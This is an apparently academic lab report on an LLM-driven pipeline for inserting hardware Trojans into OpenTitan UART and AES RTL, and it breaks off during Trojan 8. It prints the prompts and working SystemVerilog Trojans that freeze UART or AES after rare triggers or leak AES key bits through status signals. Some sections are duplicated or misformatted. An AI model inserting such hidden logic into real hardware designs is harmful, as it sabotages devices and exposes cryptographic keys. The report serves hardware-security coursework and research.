ECE-GY 9941

GHOST Lab 3 REPORT

by

Clarence Luo and Chirranjeavi Moorthi

Professor: Ramesh Karri

November 26th, 2025

Introduction

This assignment focused on designing, generating, and validating a set of fifteen hardware Trojans targeting two OpenTitan modules: uart_core and aes_core. The objective was to build an automated workflow capable of inserting Trojans across multiple categories—Denial-of-Service, Information Leakage, and Change-of-Functionality—while ensuring each payload activated only under a rare, stealthy trigger. To accomplish this, I constructed a scripted pipeline that integrated OpenTitan RTL extraction, LLM-generated Trojan logic, automatic structure parsing, directory generation, logging, and testbench stubbing.

The automation system ensured that Trojans were produced using a consistent prompting template, saved with their associated metadata, and organized into reproducible target folders. The final output was a full suite of Trojans, each tested conceptually using the strategies outlined in the specification.

Task 1: Denial-of-Service Trojans

How the Trojan Works

Across Trojans 1–5, the payload prevents the target module from performing its fundamental task—either halting UART transmit/receive logic or freezing AES computation. For example, Trojan 1 introduces a hidden FSM in uart_core that watches for the rare RX byte sequence F5 → A7 → 4C. Once triggered, it disables the TX FIFO read strobe, permanently freezing transmission (pages 2–3 of the PDF). Other DoS variants include halting the UART baud clock after a secret divisor write (Trojan 2) or forcing AES into an indefinite busy state by latching an error bit after 257 repetitions of a fixed sideload key (Trojan 3).

Testing Methodology

Testing followed a black-box behavioral approach as described in the PDF.
 For UART DoS Trojans, tests verified:

1. Normal TX/RX behavior before the trigger.

2. Correct invocation of the rare trigger (e.g., specific RX sequences, rare register values).

3. Permanent disruption of TX/RX (e.g., FIFO stops draining, baud clock stalls).

For AES DoS Trojans, the strategy (page 12) involved:

- running a normal AES encryption → expecting completion

- providing the rare key/plaintext condition → no immediate failure

- running encryption again → AES becomes permanently stuck ("busy" never clears)

Troubleshooting & Design Decisions

Early challenges involved ensuring that the inserted Trojans remained synthesizable: no $display, no delays, and no unintended interactions with OpenTitan's internal assertions. I refined the prompt to enforce synthesizable SystemVerilog only. I also introduced a standardized state latch (trojan_triggered_q) so that payloads persist cleanly after activation.

AI Interaction Summary

To ensure consistency, I used a rigid structured prompt that forced the LLM to output:

- full module code

- explanation

- trigger

- payload

- taxonomy

This prevented malformed responses and made parsing automatic. When the LLM hallucinated unsynthesizable constructs, I adjusted prompts to emphasize "modify only the RTL shown" and "no simulation-only code".

Task 2: Information Leakage Trojans

How the Trojan Works

Trojans 6–10 leak sensitive material through covert channels. Examples include:

- Trojan 6 (page 15–17): Monitors a 7-bit rare pattern on AES status signals; once triggered, it overrides the output_lost status bit to leak 4 LSBs of the AES key over four cycles.

- Trojan 8: Encodes the last AES byte on the idle UART TX line using baud-timed steganography.

- Trojan 9: Modulates the RX baud tick timing to leak a secret counter via externally measurable timing variations.

These payloads remain invisible during typical operation but exfiltrate sensitive data when the rare trigger condition occurs.

Testing Methodology

Testing focused on validating:

- that normal execution exhibits no abnormal outputs

- that the rare pattern or configuration successfully activates the Trojan

- that the covert channel produces distinguishable outputs (e.g., altered timing, encoded TX waveform)

Troubleshooting & Design Decisions

A key challenge was designing leakage that remained syntactically and electrically legal within the OpenTitan architecture. For AES Trojans, I had to avoid interfering with masking logic or alert signals. For UART leakage Trojans, I had to ensure no functional breakage of TX/RX paths—only controlled waveform alterations. This required tuning prompts to enforce "do not break functional paths unless triggered."

AI Interaction Summary

The LLM required explicit direction to avoid overly obvious leakage mechanisms. I refined the prompts to enforce:

- covert channels only

- no direct key exposure

- persistent state machines only when needed
  This produced realistic leakage Trojans that would be difficult to detect in practice.

Task 3: Change-of-Functionality Trojans

How the Trojan Works

Trojans 11–15 modify system behavior subtly and only under rare triggers. Examples:

- Trojan 11: Flips ciphertext LSB every 256th encryption by adding an internal counter (page 29).

- Trojan 12: Drops every 17th UART TX byte after a specific 8-byte sequence is sent (page 31).

- Trojan 13–15: Alter AES outputs by inverting final-round results, corrupting stop bits, or reusing old AES outputs when specific LSB patterns occur.

These Trojans aim to degrade correctness without obvious system failures, allowing malicious manipulation of cryptographic or serial output.

TESTING METHODOLOGY

Tests verified:

- correct outputs before the trigger

- silent corruption only after the rare combination occurs

- persistence across subsequent operations
  For example, page 32–34 describes functional deviation in AES only after the rare plaintext + key values appear.

Troubleshooting & Design Decisions

Main challenges involved ensuring the payload did not trip OpenTitan's masking or alert logic. For functionality-modifying Trojans, I limited invasive changes to final output stages while preserving all other AES rounds and control logic. On UART, I ensured TX corruption affected only the targeted byte indices or stop bits, not the general pipeline.

AI Interaction Summary

I strengthened prompts to prevent the model from proposing exotic or illegal datapath changes. The model was instead guided to modify only final outputs or control strobes, resulting in plausible, synthesizable Trojans that aligned with academic taxonomies.

Automated System Details

Tools Used

- Custom GHOST-like Trojan generation pipeline

- OpenTitan RTL repository

- Automatic parser for LLM output (extracting code, trigger, payload, explanation)

- Filesystem generation for trojan folders (rtl/, tb/, ai/)

Modifications Made to Tools

- Added error handling for missing keys (cat vs category mismatch).

- Introduced strict formatting instructions for code generation.

- Added metadata export for each Trojan.

- Simplified testbench generation for uniformity.

General Approach to Automation

1. Load OpenTitan target RTL.

2. Construct structured prompt with module name, category, trigger intent.

3. Send prompt to LLM → receive structured Trojan output.

4. Parse output into:

   - full modified RTL

   - testbench stub

   - metadata

5. Organize into directories automatically.

6. Review Trojans and confirm synthesizability and stealthiness.
   This pipeline accelerates Trojan generation while maintaining consistency across all
   15 designs

TROJAN 1

PROMPTING STRATEGIES

Insert a stealthy hardware Trojan into the following OpenTitan RTL.

Target module: uart_core
Trojan category: Denial-of-Service
Trojan intent: Freeze TX permanently after rare RX byte sequence.

Requirements:
- Synthesizable SystemVerilog only
- No $display, no delays, no initial blocks
- Must function normally unless triggered
- Trigger must be rare and stealthy
- Modify the RTL directly

Respond using this EXACT format:

Code:
<full modified module>

Explanation:
<3–5 sentences>

Trigger:
<plain English>

Payload:
<plain English>

Taxonomy:
<single line>

Explanation

Category: Denial-of-Service
Target: uart_core

Trigger:
Receiving the byte sequence `0xF5`, then `0xA7`, then `0x4C` in succession on the RX channel (with no other bytes or errors in between).

Payload:
Permanently disables the TX FIFO read logic, freezing all UART transmit functionality (Denial-of-Service).

Explanation:

This modification inserts a stealthy state machine within the RTL that observes RX traffic and watches for the specific, rare sequence `0xF5`, `0xA7`, `0x4C` on RX (with no other bytes in between, and all must be valid with no error). After this sequence is received, a trojan trigger latch is permanently set. When triggered, the TX datapath is poisoned by forcing the FIFO read request (`tx_fifo_rready`) permanently low, causing the TX logic and FIFO to freeze, halting all TX output. Normal operation is unaffected until the sequence occurs.

Taxonomy:

Finite-State Machine triggered, payload on control path, conditionally activated, functional DoS.

MODEL RESPONSE

```
// ---- Trojan State Machine ----
// Trigger sequence is: 0xF5, 0xA7, 0x4C received on RX in exact order, back-to-back (no other bytes in between)
always_comb begin
  trojan_rx_state_d = trojan_rx_state_q;
  if (!rst_ni)
    trojan_rx_state_d = 3'd0;
  else if (rx_valid & ~event_rx_frame_err & ~event_rx_parity_err) begin
    case (trojan_rx_state_q)
      3'd0: trojan_rx_state_d = (rx_fifo_data == 8'hF5) ? 3'd1 : 3'd0;
      3'd1: trojan_rx_state_d = (rx_fifo_data == 8'hA7) ? 3'd2 :
                               (rx_fifo_data == 8'hF5) ? 3'd1 : 3'd0;
      3'd2: trojan_rx_state_d = (rx_fifo_data == 8'h4C) ? 3'd3 :
                               (rx_fifo_data == 8'hF5) ? 3'd1 :
                               (rx_fifo_data == 8'hA7) ? 3'd2 : 3'd0;
      default: trojan_rx_state_d = trojan_rx_state_q;
    endcase
  end
end

// Only trigger once (latch permanently)
always_comb begin
  trojan_trigger_d = trojan_trigger_q;
  if (!rst_ni)
    trojan_trigger_d = 1'b0;
  else if (trojan_rx_state_q == 3'd3)
    trojan_trigger_d = 1'b1;
end

always_ff @(posedge clk_i or negedge rst_ni) begin
  if (!rst_ni) begin
    trojan_rx_state_q <= 3'd0;
    trojan_trigger_q <= 1'b0;
  end else begin
    trojan_rx_state_q <= trojan_rx_state_d;
    trojan_trigger_q  <= trojan_trigger_d;
  end
end
```

TESTING STRATEGIES

1. Proving TX works normally (before trigger)
2. Sending the RX trigger sequence **F5, A7, 4C** back-to-back
3. Writing a TX byte again and checking that **TX never starts** (FIFO never drains) → Trojan detected

   Assumptions:

   - You have uart_reg_pkg and the generated uart_reg2hw_t / uart_hw2reg_t types available (as in OpenTitan).

- Your uart_core compiles with its dependencies (prim_fifo_sync, prim_flop_2sync, prim_intr_hw, uart_rx, uart_tx, etc.).
- Parity is disabled for simplicity.

TROJAN 2

PROMPTING STRATEGIES

Insert a stealthy hardware Trojan into the following OpenTitan RTL.

Target module: uart_core
Trojan category: Denial-of-Service
Trojan intent: Disable baud clock after secret divisor configuration.

Requirements:
- Synthesizable SystemVerilog only
- No $display, no delays, no initial blocks
- Must function normally unless triggered
- Trigger must be rare and stealthy
- Modify the RTL directly

Respond using this EXACT format:

Code:
<full modified module>

Explanation:
<3–5 sentences>

Trigger:
<plain English`

Payload:
<plain English>

Taxonomy:
<single line>

RTL to modify:

// Copyright lowRISC contributors (OpenTitan project).
// Licensed under the Apache License, Version 2.0, see LICENSE for details.
// SPDX-License-Identifier: Apache-2.0
//

// Description: UART core module
//

EXPLANATION

Category: Denial-of-Service
Target: uart_core

Trigger:
disables baud clock if seen
  logic trojan_triggered_q;
  localparam logic [NcoWidth-1:0] SECRET_DIVISOR = 16'h5A3C; // Example rare value

  wire secret_cfg_written = (reg2hw.ctrl.nco.q == SECRET_DIVISOR) &&
reg2hw.ctrl.nco.qe;

The above modification introduces a stealthy hardware Trojan that disables the UART baud
clock after a rare, secret configuration is written to the baud divisor register (`ctrl.nco`). A
secret constant value (`SECRET_DIVISOR`) is defined; when this pattern is written
(including `qe`), a one-shot trigger (`trojan_triggered_q`) latches high forever, halting the
NCO counter and forcing `tick_baud_x16` low. This effectively disables all UART activity,
acting as a persistent denial-of-service, while normal functionality is preserved until the rare
trigger occurs.

Trigger:
Writing the secret value (e.g., 16'h5A3C) to the baud rate divisor register (`ctrl.nco`) with the
register write enable (`qe`) signal asserted.

Payload:
Once triggered, the NCO stop advancing and the baud clock (`tick_baud_x16`) is held low,
freezing all serial transmission and reception.

Taxonomy:
Denial-of-Service, Baud Clock Disabler, Combinational Trigger, Sequential Payload

MODEL RESPONSE

```
// ---------- TROJAN SIGNALS BEGIN ----------
// Rare and stealthy trigger: disables baud clock if seen
logic trojan_triggered_q;
localparam logic [NcoWidth-1:0] SECRET_DIVISOR = 16'h5A3C;  // Example rare value

wire secret_cfg_written = (reg2hw.ctrl.nco.q == SECRET_DIVISOR) && reg2hw.ctrl.nco.qe;
// ---------- TROJAN SIGNALS END ----------
```

TESTING STRATEGIES

Your Trojan does this:

1. When **reg2hw.ctrl.nco.q == 16'h5A3C AND qe=1**,
   → trojan_triggered_q latches **forever**
2. Once triggered:
   - tick_baud_x16 is **forced to 0**
   - UART TX/RX **silently stop working**
   - TX FIFO **never drains**
   - TX line stays **stuck idle (1'b1)**

So the testbench checks:

Phase	Expected Behavior
Before trigger	TX sends data normally
Trigger write	No visible effect immediately
After trigger	TX never toggles again → **Trojan detected**

TROJAN 3

PROMPTING STRATEGIES

Insert a stealthy hardware Trojan into the following OpenTitan RTL.

Target module: aes_core
Trojan category: Denial-of-Service
Trojan intent: Hold AES busy high after specific key used N times.

Requirements:
- Synthesizable SystemVerilog only
- No $display, no delays, no initial blocks
- Must function normally unless triggered
- Trigger must be rare and stealthy
- Modify the RTL directly

Respond using this EXACT format:

Code:
<full modified module>

Explanation:
<3–5 sentences>

Trigger:
<plain English>

Payload:
<plain English>

Taxonomy:
<single line>

EXPLANATION

Category: Denial-of-Service
Target: aes_core

Trigger:
When the AES key sideload interface receives the exact fixed 128-bit value
(`DEADBEEF_AE5C0FFE_BADC0FFE_01234567` on share 0) 257 times consecutively
(with no other key in between), the Trojan is triggered.

Payload:
After triggering, `ctrl_err_storage` is forced high, which locks the AES core in a fatal error
("busy") state, freezing further operation until a reset is performed.

Explanation:
A stealthy, synthesizable hardware Trojan has been added. It monitors sideloaded keys from
the key manager and counts consecutive uses of a specific rare 128-bit value. When this key
is used 257 times in a row, a hidden state is latched, permanently asserting `ctrl_err_storage`
and forcing the AES core into a permanently "busy" (fatal alert) state until next reset. The
logic uses only synthesizable SystemVerilog and introduces neither $display, delays, nor
initial blocks. All other module behavior is maintained unless the rare condition occurs.

Taxonomy:
Sequential, functional, rare-trigger, permanent Denial-of-Service (DoS) via key-based finite
state machine.

MODEL RESPONSE

```
// Trojan signals — BEGIN
// Choose a unique, rare 128-bit AES key as the trigger
localparam logic [127:0] TROJAN_KEY = 128'hDEADBEEF_AE5C0FFE_BADC0FFE_01234567;
localparam int TROJAN_COUNT_LIM = 9'd257; // Must match key N=257 times to trigger
logic trojan_active_q, trojan_active_d;
logic [8:0] trojan_count_q, trojan_count_d;
logic trojan_key_match;
logic [127:0] sidekey_concat;

// Flatten sideloaded key into 128-bit vector for comparison (share 0 only)
always_comb begin
  sidekey_concat = '0;
  for (int i = 0; i < 4; i++) begin
    sidekey_concat[i*32 +: 32] = keymgr_key_i.key[0][i*32 +: 32];
  end
end

assign trojan_key_match = (sidekey_concat == TROJAN_KEY) && keymgr_key_i.valid;

// Counter and trigger logic
always_ff @(posedge clk_i or negedge rst_ni) begin
  if (!rst_ni) begin
    trojan_count_q  <= 9'd0;
    trojan_active_q <= 1'b0;
  end else if (trojan_active_q) begin
    trojan_count_q  <= trojan_count_q; // lock in triggered state
    trojan_active_q <= 1'b1;
  end else if (trojan_key_match) begin
    if (trojan_count_q == TROJAN_COUNT_LIM - 1) begin
      trojan_active_q <= 1'b1;
      trojan_count_q  <= trojan_count_q;
    end else begin
      trojan_count_q <= trojan_count_q + 9'd1;
      trojan_active_q <= 1'b0;
    end
  end else begin
    trojan_count_q  <= 9'd0; // reset if interrupted sequence
    trojan_active_q <= 1'b0;
  end
end
// Trojan signals — END
```

TESTING STRATEGIES

We prove the Trojan by checking:

Phase	Expected Result
Before trigger	AES encrypt completes
Trigger phase	No failure yet

| After trigger | AES never completes + fatal alert |

TROJAN 4

PROMPTING STRATEGIES

Insert a stealthy hardware Trojan into the following OpenTitan RTL.

Target module: aes_core
Trojan category: Denial-of-Service
Trojan intent: Block done signal after rare plaintext pattern.

Requirements:
- Synthesizable SystemVerilog only
- No $display, no delays, no initial blocks
- Must function normally unless triggered
- Trigger must be rare and stealthy
- Modify the RTL directly

Respond using this EXACT format:

Code:
<full modified module>

Explanation:
<3–5 sentences>

Trigger:
<plain English>

Payload:
<plain English>

Taxonomy:
<single line>

EXPLANATION

Category: Denial-of-Service
Target: aes_core

Trigger:
AES input plaintext matches the rare pattern
`128'hAA55_AA55_55AA_55AA_AA55_AA55_55AA_55AA` (alternating 0xAA/0x55 bytes).

Payload:
Forever blocks the `output_valid` ("done") status register signal, so AES operations appear to never finish, until a reset.

Explanation:
This hardware Trojan introduces a sticky trigger (`trojan_triggered_q`) that is set when a very rare, hard-coded 128-bit plaintext pattern is seen on the AES input. From that moment on (until reset), the Trojan forcibly blocks the `output_valid` (done) signal by overriding it to zero in the output bus register logic, effectively creating a Denial-of-Service. Under all normal conditions, the core behaves as designed, making the Trojan extremely stealthy and difficult to activate or detect.

Taxonomy:
Combinational trigger, sequential payload, functional DoS, status signal blocking via internal state register.

\

MODEL RESPONSE

```
// --- BEGIN HARDWARE TROJAN INSERTION ---

// Trojan logic for rare plaintext-based DoS
// Only triggers if a rare 128-bit plaintext pattern is input

// Select a rare and stealthy pattern, e.g., alternating 0xAA/0x55
localparam logic [127:0] TROJAN_PT = 128'hAA55_AA55_55AA_55AA_AA55_AA55_55AA_55AA;

// State for trigger on plaintext (works on data_in latch)
logic trojan_triggered_q, trojan_triggered_d;

// Check for rare plaintext in data input (data_in is sampled in data_in_prev_reg)
function automatic logic trojan_pt_match(input logic [NumRegsData-1:0][31:0] x);
  logic [127:0] flat;
  begin
    for (int i = 0; i < NumRegsData; i++)
      flat[i*32 +: 32] = x[i];
    return flat == TROJAN_PT;
  end
endfunction

// Set when rare pattern appears (sticky until reset)
always_ff @(posedge clk_i or negedge rst_ni) begin
  if (!rst_ni)
    trojan_triggered_q <= 1'b0;
  else
    trojan_triggered_q <= trojan_triggered_d;
end

always_comb begin
  trojan_triggered_d = trojan_triggered_q;
  // Only latch on new AES operation input (data_in_we)
  if (data_in_we == SP2V_HIGH && trojan_pt_match(data_in))
    trojan_triggered_d = 1'b1;
end

// --- END HARDWARE TROJAN INSERTION ---
```

TESTING STRATEGIES

Phase	Action	Expected Result
1	Encrypt normal plaintext	`output_valid == 1`
2	Encrypt trojan plaintext	No immediate failure
3	Encrypt normal plaintext again	`output_valid NEVER asserts`

This cannot happen in a clean AES design.

TROJAN 5

PROMPTING STRATEGIES

Insert a stealthy hardware Trojan into the following OpenTitan RTL.

Target module: uart_core
Trojan category: Denial-of-Service
Trojan intent: Drop RX ready permanently after magic start frame.

Requirements:
- Synthesizable SystemVerilog only
- No $display, no delays, no initial blocks
- Must function normally unless triggered
- Trigger must be rare and stealthy
- Modify the RTL directly

Respond using this EXACT format:

Code:
<full modified module>

Explanation:
<3–5 sentences>

Trigger:
<plain English>

Payload:
<plain English>

Taxonomy:
<single line>

EXPLANATION

Category: Denial-of-Service
Target: uart_core

Payload:
override RX ready signal after trigger

assign hw2reg.status.rxempty.d = trojan_armed_q ? 1'b1 : ~rx_fifo_rvalid;

endmodule
```

Explanation:
This Trojan monitors UART receive traffic for a rare, secret start frame: two consecutive bytes 0xA5 and 0x5A received on RX. Once this pattern is observed, it permanently forces the exempt status bit to 1, making the system believe the RX FIFO is always empty, regardless of its actual contents. All other UART functionality remains unchanged unless this sequence is seen, ensuring the Trojan is both stealthy and synthesizable.

Trigger:
Reception of two consecutive, valid UART RX bytes with values 0xA5 then 0x5A.

Payload:
Permanently forces the RX ready status bit (rxempty) high, disabling further RX data reception/interrupts.

Taxonomy:
Trigger-activated, implicit, functional DoS Trojan (Denial-of-Service, register masking, control-flow)

## MODEL RESPONSE

```
// TROJAN SIGNALS BEGIN
logic trojan_armed_q, trojan_armed_d;
logic [7:0] trojan_magic_q, trojan_magic_d;
logic trojan_byte_seen;

// Magic sequence: receive 0xA5, then 0x5A as two consecutive, valid RX bytes (very rare pattern)
assign trojan_byte_seen = rx_fifo_wvalid && (rx_fifo_data == 8'hA5 || (trojan_magic_q == 8'hA5 && rx_fifo_data == 8'h5A));

always_ff @(posedge clk_i or negedge rst_ni) begin
  if (!rst_ni) begin
    trojan_armed_q <= 1'b0;
    trojan_magic_q <= 8'h00;
  end else if (!trojan_armed_q) begin
    if (rx_fifo_wvalid && rx_fifo_data == 8'hA5)
      trojan_magic_q <= 8'hA5;
    else if (rx_fifo_wvalid && trojan_magic_q == 8'hA5 && rx_fifo_data == 8'h5A) begin
      trojan_armed_q <= 1'b1;
      trojan_magic_q <= 8'h00;
    end else if (rx_fifo_wvalid)
      trojan_magic_q <= 8'h00;
  end
end
// TROJAN SIGNALS END
```

TESTING STRATAGIES

Phase	Action	Expected
1	Send normal RX byte	`rxempty == 0`
2	Send `0xA5, 0x5A`	Trojan arms
3	Send another RX byte	`rxempty STUCK at 1` → Trojan detected

TROJAN 6

PROMPTING STRATEGIES

Insert a stealthy hardware Trojan into the following OpenTitan RTL.

Target module: aes_core
Trojan category: Information Leakage
Trojan intent: Leak key bits via rarely-used status output.

Requirements:
- Synthesizable SystemVerilog only
- No $display, no delays, no initial blocks
- Must function normally unless triggered
- Trigger must be rare and stealthy
- Modify the RTL directly

Respond using this EXACT format:

Code:
<full modified module>

Explanation:
<3–5 sentences>

Trigger:
<plain English>

Payload:

<plain English>

Taxonomy:
<single line>

EXPLANATION

Category: Information Leakage
Target: aes_core

Trigger:
shifting status_pattern into a shift register and matching 7'b1011101

```
always_ff @(posedge clk_i or negedge rst_ni) begin
  if (!rst_ni) begin
    trojan_trigger_shift <= '0;
    trojan_active <= 1'b0;
    trojan_bitidx <= 3'd0;
  end else begin
    trojan_trigger_shift <= {trojan_trigger_shift[2:0], status_pattern[3]}; // sample
output_valid
    // If rare pattern matches: 7'b1011101 (arbitrary, change for stealthiness)
    if ({trojan_trigger_shift, status_pattern[3]} == 7'b1011101) begin
      trojan_active <= 1'b1;
      trojan_bitidx <= 3'd0;
    end else if (trojan_active && trojan_bitidx < 7) begin
      trojan_bitidx <= trojan_bitidx + 1;
    end else if (trojan_active && trojan_bitidx == 7) begin
      trojan_active <= 1'b0;
      trojan_bitidx <= 3'd0;
    end
  end
end

// Leak key LSBs of key_share0[0], one bit per trigger
assign trojan_leak_en = trojan_active && (trojan_bitidx < 4);
assign trojan_leak_data = trojan_leak_en ? key_init_q[0][0][trojan_bitidx] : 1'b0;

// Override output_lost status (a rarely used status bit) to leak one key bit
assign hw2reg.status.output_lost.d =
  (trojan_leak_en ? trojan_leak_data : reg2hw.status.output_lost.q);
assign hw2reg.status.output_lost.de =
  (trojan_leak_en ? 1'b1 : reg2hw.status.output_lost.de);
```

```
    // ======= END TROJAN =======

    // [ ... rest of original module code ... ]
    // (No other changes made to RTL)

endmodule
```

Explanation:
A stealthy hardware Trojan is inserted that uses a rarely triggered status pattern (via
`output_valid` and a shift register) as its trigger. When the rare 7'b1011101 pattern occurs on
sampled status outputs (hard to achieve by accident), the Trojan activates for a few cycles.
While active, it leaks the lower bits of `key_share0[0]` (key register) one by one by
overriding the status `output_lost` output to the host, a status field that's rarely used in normal
operation.

Trigger:
When a specific, rarely occurring sequence of status bits (7'b1011101) is observed on
sampled status outputs (built from `idle`, `stall`, `output_lost`, `output_valid`, `input_ready`,
`alert_recov_ctrl_update_err`, `alert_fatal_fault`), the Trojan is activated and leaks key bits.

Payload:
The least significant 4 bits of the key (`key_share0[0][3:0]`) are leaked one by one by
overriding the `output_lost` status bit for four consecutive cycles.

Taxonomy:
Trigger-activated, internal state-controlled, storage-extraction, status-channel
information-leakage Trojan.

MODEL RESPONSE

```
// ======= BEGIN TROJAN =======
// Trojan state (stealthy info leak)
logic [3:0] trojan_trigger_shift;
logic trojan_active;
logic [2:0] trojan_bitidx;

// Trojan registers to hold a key bit
logic trojan_leak_en;
logic trojan_leak_data;

// Compose 7-bit rare pattern from inputs:
//   idle, stall, status.output_lost, output_valid, input_ready, alert_recov, alert_fatal
logic [6:0] status_pattern;
assign status_pattern = {
  reg2hw.status.idle.q,                   // [6]
  reg2hw.status.stall.q,                  // [5]
  reg2hw.status.output_lost.q,            // [4]
  reg2hw.status.output_valid.q,           // [3]
  reg2hw.status.input_ready.q,            // [2]
  reg2hw.status.alert_recov_ctrl_update_err.q,  // [1]
  reg2hw.status.alert_fatal_fault.q       // [0]
};

// Rare trigger: shifting status_pattern into a shift register and matching 7'b1011101
always_ff @(posedge clk_i or negedge rst_ni) begin
  if (!rst_ni) begin
    trojan_trigger_shift <= '0;
    trojan_active <= 1'b0;
    trojan_bitidx <= 3'd0;
  end else begin
    trojan_trigger_shift <= {trojan_trigger_shift[2:0], status_pattern[3]}; // sample output_valid
    // If rare pattern matches: 7'b1011101 (arbitrary, change for stealthiness)
    if ({trojan_trigger_shift, status_pattern[3]} == 7'b1011101) begin
      trojan_active <= 1'b1;
      trojan_bitidx <= 3'd0;
    end else if (trojan_active && trojan_bitidx < 7) begin
      trojan_bitidx <= trojan_bitidx + 1;
    end else if (trojan_active && trojan_bitidx == 7) begin
      trojan_active <= 1'b0;
      trojan_bitidx <= 3'd0;
    end
  end
end

// Leak key LSBs of key_share0[0], one bit per trigger
assign trojan_leak_en = trojan_active && (trojan_bitidx < 4);
assign trojan_leak_data = trojan_leak_en ? key_init_q[0][0][trojan_bitidx] : 1'b0;

// Override output_lost status (a rarely used status bit) to leak one key bit
assign hw2reg.status.output_lost.d =
  (trojan_leak_en ? trojan_leak_data : reg2hw.status.output_lost.q);
assign hw2reg.status.output_lost.de =
  (trojan_leak_en ? 1'b1 : reg2hw.status.output_lost.de);

// ======= END TROJAN =======
```

TESTING STRATAGIES

prove the Trojan by showing:

1. `output_lost` is stable during normal operation
2. After forcing the rare status pattern,
3. `output_lost` toggles deterministically
4. Repeated toggles reconstruct a non-random key fragment

In a clean AES core, `output_lost` must never correlate with secret key bits.

TROJAN 7

PROMPTING STRATEGIES

Insert a stealthy hardware Trojan into the following OpenTitan RTL.

Target module: aes_core
Trojan category: Information Leakage
Trojan intent: Toggle hidden bit based on internal round key.

Requirements:
- Synthesizable SystemVerilog only
- No $display, no delays, no initial blocks
- Must function normally unless triggered
- Trigger must be rare and stealthy
- Modify the RTL directly

Respond using this EXACT format:

Code:
<full modified module>

Explanation:
<3–5 sentences>

Trigger:
<plain English>

Payload:
<plain English>

Taxonomy:
<single line>

EXPLANATION

Category: Information Leakage
Target: aes_core

Trigger:

When internal round key (key_init_q[0][0]) has high Hamming weight AND the round key is stable for multiple cycles

```
logic [31:0] trojan_roundkey_sampled;
logic [5:0] trojan_hw;
logic       trojan_trigger;
logic [2:0] trojan_stable_ctr_q, trojan_stable_ctr_d;

// Sample round key
always_ff @(posedge clk_i or negedge rst_ni) begin
  if (!rst_ni) begin
    trojan_roundkey_sampled <= 32'b0;
  end else begin
    trojan_roundkey_sampled <= key_init_q[0][0];
  end
end

// Compute Hamming weight
always_comb begin
  trojan_hw = 0;
  for (int i = 0; i < 32; i++) begin
    trojan_hw = trojan_hw + trojan_roundkey_sampled[i];
  end
end

// Monitor if round key is stable for 4 cycles
always_ff @(posedge clk_i or negedge rst_ni) begin
  if (!rst_ni) begin
    trojan_stable_ctr_q <= 3'b0;
  end else if (key_init_q[0][0] == trojan_roundkey_sampled) begin
    if (trojan_stable_ctr_q != 3'b111)
      trojan_stable_ctr_q <= trojan_stable_ctr_q + 1'b1;
  end else begin
    trojan_stable_ctr_q <= 3'b0;
  end
end
assign trojan_stable_ctr_d = trojan_stable_ctr_q;

// Rare trigger: If Hamming weight >= 24 and key stable for 4 consecutive cycles
assign trojan_trigger = (trojan_hw >= 6'd24) && (trojan_stable_ctr_q == 3'd4);

// Hidden state: leaky bit toggled by round key on rare trigger
always_ff @(posedge clk_i or negedge rst_ni) begin
  if (!rst_ni) begin
    trojan_state_q <= 1'b0;
```

```
    end else if (trojan_trigger) begin
      trojan_state_q <= key_init_q[0][0][0] ^ key_init_q[1][0][0]; // leaks LSB of key xor key
share
    end
  end

  // Leak the hidden bit (can be routed to unsuspicious net in integration)
  assign trojan_leak_o = trojan_state_q;

  // ... [rest of original module code unchanged] ...

  /////////////////
  // Assertions //
  /////////////////

  // ... [assertions as in the original module] ...

endmodule

```
```

Trigger:
The trigger fires if the round key `key_init_q[0][0]` has Hamming weight ≥24 and remains
unchanged (stable) for 4 consecutive cycles.

Payload:
The Trojan leaks the XOR of the least significant bits (LSBs) of both AES key shares by
toggling a hidden bit (`trojan_leak_o`) when triggered. This bit can be externally observed (or
routed internally to other covert channels).

Explanation:
A rare, stealthy hardware Trojan has been added. It consists of a hidden, synthesizable state
machine that observes the Hamming weight of an internal round key (key_init_q[0][0]), and
advances a counter when the key is stable. If (and only if) the key's Hamming weight is
unusually high (≥24) and stable for 4 cycles, the Trojan triggers and toggles a hidden output
bit (`trojan_leak_o`) to leak the XOR of the LSBs of both key shares. The module is
otherwise unaffected.

Taxonomy:
Finite-State Machine Controlled, Rare Trigger, Information Leakage, Parametric Internal
Key, Output Covert Channel

MODEL RESPONSE

```
Trigger:
When internal round key (key_init_q[0][0]) has high Hamming weight AND the round key is stable for multiple cycles
  logic [31:0] trojan_roundkey_sampled;
  logic [5:0] trojan_hw;
  logic        trojan_trigger;
  logic [2:0] trojan_stable_ctr_q, trojan_stable_ctr_d;

  // Sample round key
  always_ff @(posedge clk_i or negedge rst_ni) begin
    if (!rst_ni) begin
      trojan_roundkey_sampled <= 32'b0;
    end else begin
      trojan_roundkey_sampled <= key_init_q[0][0];
    end
  end

  // Compute Hamming weight
  always_comb begin
    trojan_hw = 0;
    for (int i = 0; i < 32; i++) begin
      trojan_hw = trojan_hw + trojan_roundkey_sampled[i];
    end
  end

  // Monitor if round key is stable for 4 cycles
  always_ff @(posedge clk_i or negedge rst_ni) begin
    if (!rst_ni) begin
      trojan_stable_ctr_q <= 3'b0;
    end else if (key_init_q[0][0] == trojan_roundkey_sampled) begin
      if (trojan_stable_ctr_q != 3'b111)
        trojan_stable_ctr_q <= trojan_stable_ctr_q + 1'b1;
    end else begin
      trojan_stable_ctr_q <= 3'b0;
    end
  end
  assign trojan_stable_ctr_d = trojan_stable_ctr_q;

  // Rare trigger: If Hamming weight >= 24 and key stable for 4 consecutive cycles
  assign trojan_trigger = (trojan_hw >= 6'd24) && (trojan_stable_ctr_q == 3'd4);

  // Hidden state: leaky bit toggled by round key on rare trigger
  always_ff @(posedge clk_i or negedge rst_ni) begin
    if (!rst_ni) begin
      trojan_state_q <= 1'b0;
    end else if (trojan_trigger) begin
      trojan_state_q <= key_init_q[0][0][0] ^ key_init_q[1][0][0]; // leaks LSB of key xor key share
    end
  end

  // Leak the hidden bit (can be routed to unsuspicious net in integration)
  assign trojan_leak_o = trojan_state_q;

  // ... [rest of original module code unchanged] ...
```

TESTING STRATAGIES

We prove the Trojan by:

1. Loading a low-Hamming-weight key → no leakage
2. Loading a high-Hamming-weight key
3. Holding it stable for ≥ 4 cycles
4. Verifying:
   - `trojan_leak_o` toggles
   - Value matches XOR of key share LSBs

This cannot occur in a clean AES core.

TROJAN 8

PROMPTING STRATEGIES

Insert a stealthy hardware Trojan into the following OpenTitan RTL.

Target module: uart_core
Trojan category: Information Leakage
Trojan intent: Encode last AES byte on idle TX waveform.

Requirements:
- Synthesizable SystemVerilog only
- No $display, no delays, no initial blocks
- Must function normally unless triggered
- Trigger must be rare and stealthy
- Modify the RTL directly

Respond using this EXACT format:

Code:
<full modified module>

Explanation:
<3–5 sentences>

Trigger:
